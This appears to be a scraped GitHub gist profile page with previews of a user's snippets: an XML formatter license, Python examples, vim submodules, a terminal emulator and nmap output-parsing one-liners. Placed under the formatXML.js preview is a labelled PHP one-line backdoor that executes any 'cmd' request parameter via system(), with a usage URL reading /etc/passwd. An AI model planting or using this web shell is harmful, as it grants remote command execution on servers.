Skip to content

Instantly share code, notes, and snippets.

View sente's full-sized avatar

Stuart Powers sente

View GitHub Profile
@sente
sente / formatXML.js
Last active April 4, 2024 12:20
javascript to format/pretty-print XML
The MIT License (MIT)
Copyright (c) 2016 Stuart Powers
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
<!doctype html>
<meta charset=utf-8>
<meta name=viewport content=width=device-width,initial-scale=1>
<style>
* {
line-height: 1.1;
word-wrap: break-word;
}
body {
font: 16px Georgia, serif;
@sente
sente / class_attribute_test.py
Created July 25, 2012 06:09
Example of how to use __getattribute__(self,name) and __setattr__(self,name,val)
class Foo(object):
def __getattribute__(self, name):
print "getting attribute %s" % name
return object.__getattribute__(self, name)
def __setattr__(self, name, val):
print "setting attribute %s to %r" % (name, val)
return object.__setattr__(self, name, val)
@sente
sente / .gitmodules
Created June 27, 2014 15:33
git submodules for vim
[submodule ".vim/bundle/vim-pathogen"]
path = bundle/vim-pathogen
url = https://github.com/tpope/vim-pathogen.git
[submodule ".vim/bundle/delmitmate"]
path = bundle/delmitmate
url = git://github.com/Raimondi/delimitMate.git
[submodule ".vim/bundle/closetag"]
path = bundle/closetag
url = git://github.com/docunext/closetag.vim.git
[submodule ".vim/bundle/supertab"]
@sente
sente / terminal.py
Created February 11, 2013 07:11
This crux of this module is the Terminal class which is a pure-Python implementation of the quintessential Unix terminal emulator. It does its best to emulate an xterm and along with that comes support for the majority of the relevant portions of ECMA-48. This includes support for emulating varous VT-* terminal types as well as the "linux" termi…
# -*- coding: utf-8 -*-
#
# Copyright 2011 Liftoff Software Corporation
#
# Meta
__version__ = '1.1'
__version_info__ = (1, 1)
__license__ = "AGPLv3 or Proprietary (see LICENSE.txt)"
__author__ = 'Dan McDougall <daniel.mcdougall@liftoffsoftware.com>'
# Pull Resolved Hosts From .gnmap Files
grep "Host: " *.gnmap|sed 's/\t/ /g'|tr -s '[:space:]'|cut -d" " -f3|awk '!/\(\)/'|sort -u|sed 's/(//g;s/)//g'
# Pull Alive Host IPs Based on Open Port From .gnmap Files
grep "Host:.*Ports:.*/open/" *.gnmap|cut -d" " -f2
# Pull Alive Host IPs Based on Status Form .gnmap Files (Varying Results Based On Scan Flags [i.e.: -Pn])
grep "Host:.*Status: Up" *.gnmap|cut -d" " -f2
# Common Discovery Scan String (Known RTT)
import sys
import pprint
import json
from nltk.corpus import wordnet as wn
def get_synsets(words):
return dict([[w,wn.synsets(w.split()[0])] for w in words])
@sente
sente / reddit.html
Created April 28, 2011 22:32
An example of a retrieving data from reddit's JSON(p) api using jquery
<!DOCTYPE html>
<!--
Stuart Powers
http://sente.cc/
http://twitter.com/stuartpowers
-->
<html>
<head>
@sente
sente / objwalk.py
Created December 15, 2011 09:54
Recursively walk Python objects (Python recipe)
"""
http://code.activestate.com/recipes/577982-recursively-walk-python-objects/
A small function that walks over pretty much any Python object and yields the
objects contained within (if any) along with the path to reach them. I wrote it
and am using it to validate a deserialized data-structure, but you can probably
use it for many things.
Example use: In one configuration mechanism I implemented, there exists an
UNCONFIGURED sentinel that marks configuration items that are required but